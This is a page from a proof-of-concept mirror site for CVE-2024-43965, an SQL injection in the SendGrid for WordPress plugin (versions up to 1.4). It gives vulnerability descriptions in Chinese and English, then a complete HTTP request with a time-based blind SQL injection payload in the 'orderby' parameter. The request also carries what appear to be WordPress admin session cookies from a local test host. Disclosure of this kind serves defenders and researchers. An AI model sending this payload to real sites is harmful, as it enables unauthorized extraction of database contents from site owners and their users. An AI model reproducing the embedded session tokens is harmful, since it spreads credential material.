Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-43965 PoC — WordPress plugin SendGrid for WordPress 注入漏洞

Source
Associated Vulnerability
Title:WordPress plugin SendGrid for WordPress 注入漏洞 (CVE-2024-43965)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin SendGrid for WordPress 1.4及之前版本存在SQL注入漏洞,该漏洞源于特殊元素中和不当。
Description
SendGrid for WordPress <= 1.4 - Unauthenticated SQL Injection
Readme
# CVE-2024-43965
SendGrid for WordPress &lt;= 1.4 - Unauthenticated SQL Injection

# Description
The SendGrid for WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

```
Type: plugin
CVSS Score: 10
CVE: CVE-2024-43965
Slug: wp-sendgrid-mailer
```
Download Link: https://downloads.wordpress.org/plugin/wp-sendgrid-mailer.1.4.zip

POC - This poc needs auth sadly
----

```
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(20)))a)&order=asc HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-mailplus-logs
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C64e3c5190e9d6981e485354f702a6f61dc8d35c827776156e02acbc906e9438b; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; wp-settings-time-1=1728766871; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C8a736f7917a23bb6af5d41f105cca1cea534aae621f35fae6edbe554d366207f; wp_wpfileupload_e2df32a6c3e7076dd7dc7d3f3fec39aa=XQGEyqgTa4ZpWTEfq92q1b6ZAMRbbNSs
Upgrade-Insecure-Requests: 1
Priority: u=0, i

````
File Snapshot

[4.0K] /data/pocs/e4bf81e9b1d57a5c8512601263281499bb019ccb └── [2.2K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.